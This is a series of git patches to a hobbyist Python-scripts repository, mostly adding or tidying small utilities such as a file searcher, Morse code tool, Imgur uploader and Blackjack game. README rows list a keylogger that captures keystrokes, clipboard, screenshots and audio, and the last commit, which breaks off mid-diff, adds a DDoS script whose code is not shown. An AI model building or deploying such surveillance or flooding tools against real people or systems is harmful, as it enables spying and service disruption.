will ignore all characters that are not letters - -def caesar_encrypt(plaintext): - #each letter in plaintext - finalstring= "" - for letter in plaintext.lower(): - #get the number value of the letter - cipher = (ord(letter)+3) - #wraparound - #checks letter to see if it's out of range - if cipher > 122: - cipher -= 26 - finalstring += chr(cipher) - #skips any other characters - elif (ord(letter)) in range (97,123): - finalstring +=chr(cipher) - else: - continue - return(finalstring) \ No newline at end of file From c1b9d2e1685ed43e9a904868300f845385052c00 Mon Sep 17 00:00:00 2001 From: Dhanush Date: Fri, 11 Oct 2024 13:11:33 +0000 Subject: [PATCH 25/74] File Updates --- Contributions.md => CONTRIBUTIONS.md | 4 --- Rock Paper Scissors - New Version | 50 ---------------------------- 2 files changed, 54 deletions(-) rename Contributions.md => CONTRIBUTIONS.md (95%) delete mode 100644 Rock Paper Scissors - New Version diff --git a/Contributions.md b/CONTRIBUTIONS.md similarity index 95% rename from Contributions.md rename to CONTRIBUTIONS.md index c12a00f8..6cbcddf1 100644 --- a/Contributions.md +++ b/CONTRIBUTIONS.md @@ -88,7 +88,3 @@ members of the project's leadership. This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available [here.][version] - -[homepage]: http://contributor-covenant.org -[version]: http://contributor-covenant.org/version/1/4/ -[first]: https://dev.to/diballesteros/step-by-step-guide-for-the-first-time-open-source-contribution-48bo diff --git a/Rock Paper Scissors - New Version b/Rock Paper Scissors - New Version deleted file mode 100644 index b7b3f030..00000000 --- a/Rock Paper Scissors - New Version +++ /dev/null @@ -1,50 +0,0 @@ -import random - -def get_user_choice(): - choices = ["rock", "paper", "scissors", "lizard", "spock"] - user_choice = input("Enter your choice (rock, paper, scissors, lizard, spock): ").lower() - while user_choice not in choices: - user_choice = input("Invalid choice. Please enter rock, paper, scissors, lizard, or spock: ").lower() - return user_choice - -def get_computer_choice(): - choices = ["rock", "paper", "scissors", "lizard", "spock"] - return random.choice(choices) - -def determine_winner(user_choice, computer_choice): - win_conditions = { - "scissors": ["paper", "lizard"], - "paper": ["rock", "spock"], - "rock": ["lizard", "scissors"], - "lizard": ["spock", "paper"], - "spock": ["scissors", "rock"] - } - - if user_choice == computer_choice: - return "tie" - elif computer_choice in win_conditions[user_choice]: - return "user" - else: - return "computer" - -def play_game(): - print("Welcome to Rock, Paper, Scissors, Lizard, Spock!") - - user_choice = get_user_choice() - computer_choice = get_computer_choice() - - print(f"You chose: {user_choice}") - print(f"Computer chose: {computer_choice}") - - winner = determine_winner(user_choice, computer_choice) - - if winner == "tie": - print("It's a tie! Let's play again.") - play_game() - elif winner == "user": - print("You win!") - else: - print("Computer wins!") - -if __name__ == "__main__": - play_game() From 65c5a3a9d2b37560faab71fbfd87747a9a3dd9bb Mon Sep 17 00:00:00 2001 From: Dhanush Date: Fri, 11 Oct 2024 19:21:51 +0530 Subject: [PATCH 26/74] Update README.md --- README.md | 26 ++++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/README.md b/README.md index 97710f02..19297b4c 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,16 @@ # Table of Contents -- [Table of Contents](#table-of-contents) -- [Python Scripts](#python-scripts) - - [Contributing](#contributing) - - [Adding a New Script](#adding-a-new-script) - - [List of Scripts in Repo](#list-of-scripts-in-repo) - - [Wall of Contributors](#wall-of-contributors) +- [Contributing](#contributing) + - [Adding a New Script](#adding-a-new-script) +- [List of Scripts in Repo](#list-of-scripts-in-repo) +- [Gitpod](#gitpod) +- [Wall of Contributors](#wall-of-contributors) + +
+ +[![Join Our Discord](https://img.shields.io/badge/Discord-Join%20Server-blue?logo=discord&style=for-the-badge)](https://discord.com/invite/Yn9g6KuWyA) +[![Subscribe on YouTube](https://img.shields.io/badge/YouTube-Subscribe-red?logo=youtube&style=for-the-badge)](https://www.youtube.com/@dhanushnehru?sub_confirmation=1) +[![Subscribe to Newsletter](https://img.shields.io/badge/Newsletter-Subscribe-orange?style=for-the-badge)](https://dhanushn.substack.com/) # Python Scripts @@ -17,7 +22,7 @@ We encourage contributions from the community to make this repository even more _**Note: Please follow the maintainer of the repository for quick approval of the PR's via [Twitter](https://twitter.com/Dhanush_Nehru), [Instagram](https://www.instagram.com/dhanush_nehru/), [Youtube](https://www.youtube.com/@dhanushnehru?sub_confirmation=1), [Github](https://github.com/DhanushNehru)**_ -### Adding a New Script šŸ‘‡ +### Adding a New Script **1. Create an issue:** Start by creating an issue in this repository. Describe the new script you'd like to contribute, its purpose, and any specific features it will provide. @@ -149,11 +154,8 @@ You can use Gitpod in the cloud [![Gitpod Ready-to-Code](https://img.shields.io +
+ If you liked this repository, support it by starring ⭐ Thank You for being here :) - -### Connect šŸ‘‰ [**Twitter**](https://twitter.com/Dhanush_Nehru) **/** [**Instagram**](https://www.instagram.com/dhanush_nehru/) **/** [**Github**](https://github.com/DhanushNehru/) **/** [**Youtube**](https://www.youtube.com/@dhanushnehru?sub_confirmation=1) **/** [**Newsletter**](https://dhanushn.substack.com/) **/** [**Discord**](https://discord.com/invite/Yn9g6KuWyA) - - - From 734eabe33d644895034c486e594ef8910a7effcd Mon Sep 17 00:00:00 2001 From: debojit11 <126899332+debojit11@users.noreply.github.com> Date: Fri, 11 Oct 2024 20:11:17 +0530 Subject: [PATCH 27/74] PR for File_search script (#316) * Create file_search.py * Create readme.md * Update file_search.py * Update readme.md * Update readme.md * Update README.md * improved the heading in readme.md * placed the name , link and description in correct row --- File_Search/file_search.py | 23 +++++++++++++++++++++++ File_Search/readme.md | 31 +++++++++++++++++++++++++++++++ README.md | 1 + 3 files changed, 55 insertions(+) create mode 100644 File_Search/file_search.py create mode 100644 File_Search/readme.md diff --git a/File_Search/file_search.py b/File_Search/file_search.py new file mode 100644 index 00000000..e0b8321f --- /dev/null +++ b/File_Search/file_search.py @@ -0,0 +1,23 @@ +import pathlib +all_files_path = pathlib.Path('Place the folder path here under quotes') +file_paths = [] + +for file in all_files_path.rglob('*'): + if file.is_file(): + file_paths.append(str(file)) + +formatted_output = '[\n' + ',\n'.join(f' "{path}"' for path in file_paths) + '\n]' +print(formatted_output) + + +file_extensions = [] + +for file in all_files_path.rglob('*'): + if file.is_file(): + ext = file.suffix.lower() + if ext and ext not in file_extensions: + file_extensions.append(ext) + + +formattedd_output = '[\n' + ',\n'.join(f' "{ext}"' for ext in file_extensions) + '\n]' +print(formattedd_output) diff --git a/File_Search/readme.md b/File_Search/readme.md new file mode 100644 index 00000000..597c155e --- /dev/null +++ b/File_Search/readme.md @@ -0,0 +1,31 @@ +Automated File Explorer: +This Python script searches a specified folder for all files, regardless of file type, within its directory and subdirectories. It outputs the paths of all files found and also lists all unique file extensions present in the folder. The script uses Python's pathlib module, which is cross-platform and simplifies working with file paths. + +Features: +File Path Finder: The script scans a folder and lists the file paths of all files it finds within the specified directory and its subdirectories. +Unique File Extension Lister: The script identifies all unique file extensions present in the folder, displaying them in lowercase format. + +Requirements: Python 3.x + +Set the Folder Path: + +Replace 'Place the folder path here under quotes' in the script with the path to the folder you want to scan: +all_files_path = pathlib.Path('path/to/your/folder') + +Run the Script: + +Save the script as file_finder.py (or another name of your choice). +Open your terminal or command prompt. +Navigate to the folder containing the script and run it with: +python file_finder.py + +Output: +The script will output two lists: +The first list contains the paths of all files found within the specified folder and its subdirectories. +The second list contains all unique file extensions in the folder, displayed in lowercase. + + +Example output: + +[ "path/to/folder/document.txt", "path/to/folder/image.jpg", "path/to/folder/subfolder/script.py"] +[ ".txt", ".jpg", ".py"] diff --git a/README.md b/README.md index 19297b4c..94f42464 100644 --- a/README.md +++ b/README.md @@ -63,6 +63,7 @@ More information on contributing and the general code of conduct for discussion | Face Reaction | [Face Reaction](https://github.com/DhanushNehru/Python-Scripts/tree/master/Face%20Reaction) | A script which attempts to detect facial expressions. | | Fake Profiles | [Fake Profiles](https://github.com/DhanushNehru/Python-Scripts/tree/master/Fake%20Profile) | Creates fake profiles. | | File Encryption Decryption | [File Encryption Decryption](https://github.com/DhanushNehru/Python-Scripts/tree/master/File%20Encryption%20Decryption) | Encrypts and Decrypts files using AES Algorithms for Security purposes. | +| File Search | [File_search](https://github.com/debojit11/Python-Scripts/tree/master/File_Search) | A python script that searches a specified folder for all files, regardless of file type, within its directory and subdirectories. | Font Art | [Font Art](https://github.com/DhanushNehru/Python-Scripts/tree/master/Font%20Art) | Displays a font art using Python. | | Freelance Helper Program | [freelance-helper](https://github.com/DhanushNehru/Python-Scripts/tree/master/freelance-help-program) | Takes an Excel file with working hours and calculates the payment. | | Get Hexcodes From Websites | [Get Hexcodes From Websites](https://github.com/DhanushNehru/Python-Scripts/tree/master/Get%20Hexcodes%20From%20Websites) | Generates a Python list containing Hexcodes from a website. | From 0294be5c260d449c8ea0b73933f6f4ad03a2e6a2 Mon Sep 17 00:00:00 2001 From: Vignesh Skanda Date: Sun, 13 Oct 2024 10:14:44 +0530 Subject: [PATCH 28/74] Update README.md (#325) --- Arrange It/README.md | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/Arrange It/README.md b/Arrange It/README.md index c3515c04..78013930 100644 --- a/Arrange It/README.md +++ b/Arrange It/README.md @@ -5,7 +5,7 @@ With the help of this script, files can be moved automatically to the folder tha ## New Feature: Custom Folder Configuration -Now, you can customize how files are arranged by defining your own folder structure and file extensions using a config.json file. This allows for more flexibility without needing to modify the Python code itself. -python arrangeit.py +`python arrangeit.py` # How To Use the config.json File @@ -14,6 +14,7 @@ python arrangeit.py Example config.json: +```bash { "Programming Files": ["ipynb", "py", "java", "cs", "js"], "Music": ["mp3", "wav", "aac"], @@ -21,6 +22,7 @@ Example config.json: "Pictures": ["jpeg", "png", "gif"], "Documents": ["pdf", "docx", "xlsx"] } +``` # How To Run @@ -28,14 +30,17 @@ Put the script and the config.json file in the folder where you want to automati Run the following command from the terminal: +```bash python arrangeit.py - +``` The script will create folders and move files based on the folder-extension mappings in the config.json file. # Benefits -Customizable: Easily modify the config.json file to tailor the organization to your preferences. -User-Friendly: No need to modify Python code—just update the config.json file. -Scalable: Works with different folder structures for different use cases. \ No newline at end of file +**Customizable:** Easily modify the config.json file to tailor the organization to your preferences. + +**User-Friendly:** No need to modify Python code—just update the config.json file. + +**Scalable:** Works with different folder structures for different use cases. From 0073d35b7d6559591851c4e6d94ed9be5385e29b Mon Sep 17 00:00:00 2001 From: Vignesh Skanda Date: Sun, 13 Oct 2024 10:15:25 +0530 Subject: [PATCH 29/74] Create requirements.txt (#326) --- Auto WiFi Check/requirements.txt | 1 + 1 file changed, 1 insertion(+) create mode 100644 Auto WiFi Check/requirements.txt diff --git a/Auto WiFi Check/requirements.txt b/Auto WiFi Check/requirements.txt new file mode 100644 index 00000000..7a7d08a2 --- /dev/null +++ b/Auto WiFi Check/requirements.txt @@ -0,0 +1 @@ +schedule==1.1.0 From 66161ee21d01f5e7b735875301e59865a97f5f84 Mon Sep 17 00:00:00 2001 From: bibliofilo <42589480+bibliofilo@users.noreply.github.com> Date: Sat, 12 Oct 2024 22:47:48 -0600 Subject: [PATCH 30/74] Add longitude and latitude to conical converter (#329) * Create lonlat_converter_lambert.py * Create readme.md * Rename Longitude Latitude conical converter/Python/lonlat_converter_lambert.py to Longitude Latitude conical converter/lonlat_converter_lambert.py * Rename Longitude Latitude conical converter/Python/readme.md to Longitude Latitude conical converter/readme.md * Update README.md --- .../lonlat_converter_lambert.py | 35 +++++++++++++++++++ .../readme.md | 21 +++++++++++ README.md | 1 + 3 files changed, 57 insertions(+) create mode 100644 Longitude Latitude conical converter/lonlat_converter_lambert.py create mode 100644 Longitude Latitude conical converter/readme.md diff --git a/Longitude Latitude conical converter/lonlat_converter_lambert.py b/Longitude Latitude conical converter/lonlat_converter_lambert.py new file mode 100644 index 00000000..fb8371eb --- /dev/null +++ b/Longitude Latitude conical converter/lonlat_converter_lambert.py @@ -0,0 +1,35 @@ +from pyproj import Proj +from shapely.geometry import Point +from shapely.geometry.polygon import Polygon + +# Definition of lambert conical projection. +lambert = {'proj': 'lcc', # Lambert Conformal Conic 2SP (epsg:9802) + 'ellps': 'GRS80', #'epsg:7019', #'epsg:9802', # 'epsg:6651', + 'lon_0': -102.00000000, + 'lat_0': 12.00000000, # 12° 00’ 0.0’’ N + 'lat_1': 17.50000000, # 17° 30’ 0.00’’ N + 'lat_2': 29.50000000, # 29° 30’ 0.00’’ N + 'x_0': 2500000, + 'y_0': 0} + +prj = Proj(lambert) + +# Coordinates for the city of Monterrey, Nuevo León, MĆ©xico + +city = {'c_name': 'Monterrey', 'lon': -100.316116, 'lat': 25.686613} + +x, y = prj(city['lon'], city['lat']) + +print(' X Y') +print(city['c_name'], ': lon:', city['lon'], ' , lat:', city['lat']) +print('Lambert function:', x, ',', y) +print(' Should return: 2668223.843 , 1516271.922') + +# Should return: + +""" + X Y +Monterrey : lon: -100.316116 , lat: 25.686613 +Lambert function: 2668223.842598227 , 1516271.9216458194 + Should return: 2668223.843 , 1516271.922 +""" diff --git a/Longitude Latitude conical converter/readme.md b/Longitude Latitude conical converter/readme.md new file mode 100644 index 00000000..a22092a3 --- /dev/null +++ b/Longitude Latitude conical converter/readme.md @@ -0,0 +1,21 @@ +## Longitude and Latitude to Conical Converter + +This script converts longitude and latitude to [Lambert conformal conic projection](https://en.wikipedia.org/wiki/Lambert_conformal_conic_projection). +The example used is for Mexico, under International Terrestrial Reference Frame 2008, which uses Lambert Conformal Conic projection 2SP (epsg:9802). + +This script is useful to combine census and geographic data, with traditional Longitude and Latitude from the more international frame of reference. + +For more reference, see [National Geography institute explanatory PDF](https://www.inegi.org.mx/contenidos/temas/MapaDigital/Doc/asignar_sistema_coordenadas.pdf) +and [Pyproj, Lambert projections](https://proj.org/operations/projections/lcc.html). + +## Prerequisites +- Python 3.x installed on your machine. + +## Dependencies +The script requires the following Python libraries: +`pyproj` +`shapely` + +You can install the required library using pip: +`pip install pyproj` +`pip install shapely` diff --git a/README.md b/README.md index 94f42464..26666984 100644 --- a/README.md +++ b/README.md @@ -88,6 +88,7 @@ More information on contributing and the general code of conduct for discussion | Keylogger | [Keylogger](https://github.com/DhanushNehru/Python-Scripts/tree/master/Keylogger) | Keylogger that can track your keystrokes, clipboard text, take screenshots at regular intervals, and records audio. | | Keyword - Retweeting | [Keyword - Retweeting](https://github.com/DhanushNehru/Python-Scripts/tree/master/Keyword%20Retweet%20Twitter%20Bot) | Find the latest tweets containing given keywords and then retweet them. | | LinkedIn Bot | [LinkedIn Bot](https://github.com/DhanushNehru/Python-Scripts/tree/master/LinkedIn%20Bot) | Automates the process of searching for public profiles on LinkedIn and exporting the data to an Excel sheet. | +| Longitude & Latitude to conical coverter | [Longitude Latitude conical converter](master/Longitude%20Latitude%20conical%20converter) | Converts Longitude and Latitude to Lambert conformal conic projection. | | Mail Sender | [Mail Sender](https://github.com/DhanushNehru/Python-Scripts/tree/master/Mail%20Sender) | Sends an email. | | Merge Two Images | [Merge Two Images](https://github.com/DhanushNehru/Python-Scripts/tree/master/Merge%20Two%20Images) | Merges two images horizontally or vertically. | | Mouse mover | [Mouse mover](https://github.com/DhanushNehru/Python-Scripts/tree/master/Mouse%20Mover) | Moves your mouse every 15 seconds. | From 4d28b625bcc848a1377c904b429eea754514151f Mon Sep 17 00:00:00 2001 From: "A.S Chaudhary" Date: Sun, 13 Oct 2024 10:18:52 +0530 Subject: [PATCH 31/74] feat: Add file type filtering and report generation features to duplicate finder (#327) --- Duplicate Finder/Readme.md | 15 ++++++++++++++- Duplicate Finder/duplicate-finder.py | 25 +++++++++++++++++++++---- 2 files changed, 35 insertions(+), 5 deletions(-) diff --git a/Duplicate Finder/Readme.md b/Duplicate Finder/Readme.md index 14055ffb..aae927f7 100644 --- a/Duplicate Finder/Readme.md +++ b/Duplicate Finder/Readme.md @@ -33,4 +33,17 @@ Always backup your data before using scripts that modify files. The author is no - \ No newline at end of file + + + +# KEY MODIFICATIONS + +File Type Filtering: + +Added an input prompt to specify file extensions for filtering. +Modified the find_duplicates function to only consider files with the specified extensions. + +Generate Report: + +Added a new generate_report function that creates a JSON report of duplicate files. +Added the option for the user to choose to generate a report instead of deleting or moving files. \ No newline at end of file diff --git a/Duplicate Finder/duplicate-finder.py b/Duplicate Finder/duplicate-finder.py index 47d7bb7e..f36fa390 100644 --- a/Duplicate Finder/duplicate-finder.py +++ b/Duplicate Finder/duplicate-finder.py @@ -1,5 +1,6 @@ import os import hashlib +import json # Import for generating reports def get_file_hash(filepath): """Return the MD5 hash of a file.""" @@ -9,13 +10,16 @@ def get_file_hash(filepath): hasher.update(buf) return hasher.hexdigest() -def find_duplicates(directory, min_size=0): - """Find duplicate files in a directory.""" +def find_duplicates(directory, min_size=0, file_extensions=None): + """Find duplicate files in a directory, with optional file type filtering.""" hashes = {} duplicates = {} for dirpath, dirnames, filenames in os.walk(directory): for filename in filenames: + if file_extensions and not filename.lower().endswith(tuple(file_extensions)): + continue # Skip files that don't match the extensions + filepath = os.path.join(dirpath, filename) if os.path.getsize(filepath) >= min_size: file_hash = get_file_hash(filepath) @@ -29,11 +33,20 @@ def find_duplicates(directory, min_size=0): return {k: v for k, v in duplicates.items() if len(v) > 1} +def generate_report(duplicates, report_path): + """Generate a report of duplicate files in JSON format.""" + with open(report_path, 'w') as report_file: + json.dump(duplicates, report_file, indent=4) + print(f"Report generated: {report_path}") + def main(): directory = input("Enter the directory to scan for duplicates: ") min_size = int(input("Enter the minimum file size to consider (in bytes, default is 0): ") or "0") - duplicates = find_duplicates(directory, min_size) + file_type_input = input("Enter the file extensions to check (comma-separated, e.g. .jpg,.png), or press Enter to check all: ") + file_extensions = [ext.strip().lower() for ext in file_type_input.split(",")] if file_type_input else None + + duplicates = find_duplicates(directory, min_size, file_extensions) if not duplicates: print("No duplicates found.") @@ -45,7 +58,7 @@ def main(): print(path) print("------") - action = input("\nChoose an action: (D)elete, (M)ove, (N)o action: ").lower() + action = input("\nChoose an action: (D)elete, (M)ove, (R)eport, (N)o action: ").lower() if action == "d": for _, paths in duplicates.items(): @@ -64,6 +77,10 @@ def main(): os.rename(path, target_path) print(f"Moved {path} to {target_path}") + elif action == "r": + report_path = input("Enter the path to save the report (e.g., duplicates_report.json): ") + generate_report(duplicates, report_path) + else: print("No action taken.") From 2f37ad2e9cc9ed1e218f56e481443e272aded31c Mon Sep 17 00:00:00 2001 From: Rohit Sharma <138422780+Rohit-Sharma-RS@users.noreply.github.com> Date: Sun, 13 Oct 2024 20:44:45 +0530 Subject: [PATCH 32/74] Added a python script that uploads an image to imgur via keyboard shortcut. (#314) * Added a python script that uploads an image to imgur and also handles exceptions gracefully * Made requested changes * Created morse code encoder and decoder * seperate 2 PRs * minor improvements * added Morse code encoder decoder under issue #313 --- Image Uploader/.gitignore | 1 + Image Uploader/README.md | 23 ++++++++++++++++++++ Image Uploader/main.py | 45 ++++++++++++++++++++++++++++++++++++++ Morse Code/README.md | 24 ++++++++++++++++++++ Morse Code/main.py | 46 +++++++++++++++++++++++++++++++++++++++ README.md | 4 +++- 6 files changed, 142 insertions(+), 1 deletion(-) create mode 100644 Image Uploader/.gitignore create mode 100644 Image Uploader/README.md create mode 100644 Image Uploader/main.py create mode 100644 Morse Code/README.md create mode 100644 Morse Code/main.py diff --git a/Image Uploader/.gitignore b/Image Uploader/.gitignore new file mode 100644 index 00000000..30fe0fbc --- /dev/null +++ b/Image Uploader/.gitignore @@ -0,0 +1 @@ +secret.env \ No newline at end of file diff --git a/Image Uploader/README.md b/Image Uploader/README.md new file mode 100644 index 00000000..61efce3d --- /dev/null +++ b/Image Uploader/README.md @@ -0,0 +1,23 @@ +# Image Upload Script + +## Overview + +This Python script allows users to upload images from their clipboard directly to Imgur by pressing a keyboard shortcut. It utilizes the Imgur API for image uploads and the `python-dotenv` package to manage environment variables securely. + +## Features + +- **Clipboard Image Capture**: Captures images from the clipboard. +- **Imgur API Integration**: Uploads images to Imgur using a simple API call. +- **Keyboard Shortcut**: Allows users to trigger the upload with a predefined keyboard shortcut (`Ctrl + Alt + S`). +- **Environment Variable Management**: Utilizes a `secret.env` file for managing sensitive data, such as the Imgur Client ID and add it under the name `IMGUR_CLIENT_ID`. + + +**Note**: You can add an image in your clipboard using `Win + Shift + S` +Also press Esc to end the program + +## Example Screenshot + +Here’s how the application looks when running: + +![Screenshot of the app](https://i.imgur.com/e35Pvyh.png) +![Screenshot of the app](https://i.imgur.com/ZfyHcsx.png) \ No newline at end of file diff --git a/Image Uploader/main.py b/Image Uploader/main.py new file mode 100644 index 00000000..edad516f --- /dev/null +++ b/Image Uploader/main.py @@ -0,0 +1,45 @@ +import os +import requests +import keyboard +from PIL import ImageGrab +import io +import base64 +from dotenv import load_dotenv + + +load_dotenv("secret.env") +# Set your Imgur API client ID here +CLIENT_ID = os.getenv("IMGUR_CLIENT_ID") + +def upload_to_imgur(image_data): + headers = {"Authorization": f"Client-ID {CLIENT_ID}"} + response = requests.post("https://api.imgur.com/3/image", headers=headers, data={"image": image_data}) + return response.json() + +def upload_image(): + try: + image = ImageGrab.grabclipboard() + if image is None: + print("No image found in the clipboard.") + return + + + with io.BytesIO() as output: + image.save(output, format='PNG') + image_data = base64.b64encode(output.getvalue()).decode() # converted to base64 + + # Upload the image to Imgur + response = upload_to_imgur(image_data) + + if response.get("success"): + print("Image uploaded successfully:", response["data"]["link"]) + else: + print("Failed to upload image:", response) + except Exception as e: + print(f"An error occurred: {e}") + + +keyboard.add_hotkey('ctrl+alt+s', upload_image) + +print("Listening for the shortcut... (Press ESC to stop)") +keyboard.wait('esc') diff --git a/Morse Code/README.md b/Morse Code/README.md new file mode 100644 index 00000000..bcb53263 --- /dev/null +++ b/Morse Code/README.md @@ -0,0 +1,24 @@ +# Morse Code Encoder/Decoder + +## Overview + +This project provides a simple Python program to encode text into Morse code and decode Morse code back into text. It includes exception handling for invalid characters and offers default values when no input is provided. + +## Features + +- **Encoding**: Convert plain text into Morse code. +- **Decoding**: Convert Morse code back into plain text. +- **Exception Handling**: Handles invalid characters gracefully. +- **Default Values**: If no input is provided, it uses default values ('SOS' for encoding and '... --- ...' for decoding). + +## Installation + +1. Ensure you have Python installed on your machine. +2. Download the `morse_code.py` file. + +## Usage + +Run the script directly from the command line: + +```bash +python morse_code.py diff --git a/Morse Code/main.py b/Morse Code/main.py new file mode 100644 index 00000000..fdcad69d --- /dev/null +++ b/Morse Code/main.py @@ -0,0 +1,46 @@ +class MorseCode: + # Morse code dictionary + morse_dict = { + 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', + 'F': '..-.', 'G': '--.', 'H': '....', 'I': '..', 'J': '.---', + 'K': '-.-', 'L': '.-..', 'M': '--', 'N': '-.', 'O': '---', + 'P': '.--.', 'Q': '--.-', 'R': '.-.', 'S': '...', 'T': '-', + 'U': '..-', 'V': '...-', 'W': '.--', 'X': '-..-', 'Y': '-.--', + 'Z': '--..', '1': '.----', '2': '..---', '3': '...--', + '4': '....-', '5': '.....', '6': '-....', '7': '--...', + '8': '---..', '9': '----.', '0': '-----', ' ': '/' + } + + @classmethod + def encode(cls, text=""): + """Encodes a given text into Morse code.""" + if not text: + text = "SOS" # Default value if no input is provided + try: + return ' '.join(cls.morse_dict[char.upper()] for char in text) + except KeyError as e: + print(f"Error: Character '{e.args[0]}' cannot be encoded in Morse code.") + return None + + @classmethod + def decode(cls, morse_code=""): + """Decodes a given Morse code into plain text.""" + if not morse_code: + morse_code = "... --- ..." # Default value if no input is provided + try: + reverse_dict = {v: k for k, v in cls.morse_dict.items()} + return ''.join(reverse_dict[code] for code in morse_code.split()) + except KeyError as e: + print(f"Error: Morse code '{e.args[0]}' cannot be decoded.") + return None + + +if __name__ == "__main__": + # Example usage + text = input("Enter text to encode (leave blank for default 'SOS'): ") + morse_code = MorseCode.encode(text) + print(f"Morse Code: {morse_code}") + + morse_input = input("Enter Morse code to decode (leave blank for default '... --- ...'): ") + decoded_text = MorseCode.decode(morse_input) + print(f"Decoded Text: {decoded_text}") diff --git a/README.md b/README.md index 26666984..f7b96ec4 100644 --- a/README.md +++ b/README.md @@ -74,7 +74,8 @@ More information on contributing and the general code of conduct for discussion | Image Compress | [Image Compress](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Compress) | Takes an image and compresses it. | | Image Manipulation without libraries | [Image Manipulation without libraries](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Manipulation%20without%20libraries) | Manipulates images without using any external libraries. | | Image Text | [Image Text](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Text) | Extracts text from the image. | -| Image Text to PDF | [Image Text to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Text%20to%20PDF) | Adds an image and text to a PDF. +| Image Text to PDF | [Image Text to PDF](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Text%20to%20PDF) | Adds an image and text to a PDF. +| Image Uploader | [Image Uploader](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Uploader) | Uploads images to Imgur using a keyboard shortcut. | | Image Watermarker | [Image Watermarker](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20Watermarker) | Adds a watermark to an image. | Image to ASCII | [Image to ASCII](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20to%20ASCII) | Converts an image into ASCII art. | | Image to Gif | [Image to Gif](https://github.com/DhanushNehru/Python-Scripts/tree/master/Image%20to%20GIF) | Generate gif from images. @@ -92,6 +93,7 @@ More information on contributing and the general code of conduct for discussion | Mail Sender | [Mail Sender](https://github.com/DhanushNehru/Python-Scripts/tree/master/Mail%20Sender) | Sends an email. | | Merge Two Images | [Merge Two Images](https://github.com/DhanushNehru/Python-Scripts/tree/master/Merge%20Two%20Images) | Merges two images horizontally or vertically. | | Mouse mover | [Mouse mover](https://github.com/DhanushNehru/Python-Scripts/tree/master/Mouse%20Mover) | Moves your mouse every 15 seconds. | +| Morse Code | [Mose Code](https://github.com/DhanushNehru/Python-Scripts/tree/master/Morse%20Code) | Encodes and decodes Morse code. | | No Screensaver | [No Screensaver](https://github.com/DhanushNehru/Python-Scripts/tree/master/No%20Screensaver) | Prevents screensaver from turning on. | | OTP Verification | [OTP Verification](https://github.com/DhanushNehru/Python-Scripts/tree/master/OTP%20%20Verify) | An OTP Verification Checker. | | Password Generator | [Password Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/Password%20Generator) | Generates a random password. | From a3b538a471bf1b78d17218c91f938794fd1ebd56 Mon Sep 17 00:00:00 2001 From: Vignesh Skanda Date: Wed, 16 Oct 2024 11:43:44 +0530 Subject: [PATCH 33/74] Update README.md (#332) --- Black Hat Python/README.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/Black Hat Python/README.md b/Black Hat Python/README.md index 037a1d45..cfb0ebf5 100644 --- a/Black Hat Python/README.md +++ b/Black Hat Python/README.md @@ -4,9 +4,14 @@ Source code for the book "Black Hat Python" by Justin Seitz. ## Usage Simply choose a directory (DIR) in which to clone the project using -`git clone`, create a new virtual environment or `venv` for it (recommended + +```bash +git clone https://github.com/DhanushNehru/Python-Scripts/Black Hat Python.git +``` + +create a new virtual environment or `venv` for it (recommended ) and install the requirements using `pip install`. - \ No newline at end of file + From bd5d657dd56cbf6197d671add88efe6e81d7435c Mon Sep 17 00:00:00 2001 From: Vignesh Skanda Date: Wed, 16 Oct 2024 11:45:47 +0530 Subject: [PATCH 34/74] Update BlackjackGame.py (#334) --- Blackjack/BlackjackGame.py | 21 +++++++-------------- 1 file changed, 7 insertions(+), 14 deletions(-) diff --git a/Blackjack/BlackjackGame.py b/Blackjack/BlackjackGame.py index 11032a30..92ad5e92 100644 --- a/Blackjack/BlackjackGame.py +++ b/Blackjack/BlackjackGame.py @@ -58,6 +58,7 @@ def getScore(self): self.score = 0 for card in self.cards: self.score += self.scoreDictionary[card] + self.adjustAceValue() return self.score def adjustAceValue(self): @@ -145,25 +146,17 @@ def playRound3(self): print("My Money: " + str(player.money)) def removeLossers(self): - i = 0 - for player in self.playerlist: - if player.money <= 0: - self.playerlist.pop(i) - i += 1 + self.playerlist = [player for player in self.playerlist if player.money > 0] def refreshPlayerCard(self): for player in self.playerlist: player.cards = [] - dealer.cards = [] + self.dealer.cards = [] def genDeck(self): - cardType = ['2','3','4','5','6','7','8','9','10','J','Q','K','A'] - self.cardDeck = [] - for card in cardType: - self.cardDeck.append(card) - self.cardDeck.append(card) - self.cardDeck.append(card) - self.cardDeck.append(card) + cardType = ['2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K', 'A'] + self.cardDeck = [card for card in cardType for _ in range(4)] + random.shuffle(self.cardDeck) # Set betting limits min_bet = 5 @@ -192,4 +185,4 @@ def genDeck(self): game1.drawCardsRound2() game1.playRound3() game1.removeLossers() - gameRound += 1 \ No newline at end of file + gameRound += 1 From 0671816f94847a3c8bb56be3da917f97b6a8e4b3 Mon Sep 17 00:00:00 2001 From: Vanshaj Raghuvanshi Date: Thu, 17 Oct 2024 21:46:44 +0530 Subject: [PATCH 35/74] added ddos script (#330) * Add files via upload * Create README.md * Update README.md --- README.md | 1 + Simple DDOS/README.md | 69 +++++++++++++++++++++++++++++++++++++++++++ Simple DDOS/ddos.py | 27 +++++++++++++++++ 3 files changed, 97 insertions(+) create mode 100644 Simple DDOS/README.md create mode 100644 Simple DDOS/ddos.py diff --git a/README.md b/README.md index f7b96ec4..eb760638 100644 --- a/README.md +++ b/README.md @@ -116,6 +116,7 @@ More information on contributing and the general code of conduct for discussion | Rock Paper Scissor 2 | [Rock Paper Scissor 2](https://github.com/DhanushNehru/Python-Scripts/tree/master/Rock%20Paper%20Scissor%202) | A new version game of Rock Paper Scissors. | Run Then Notify | [Run Then 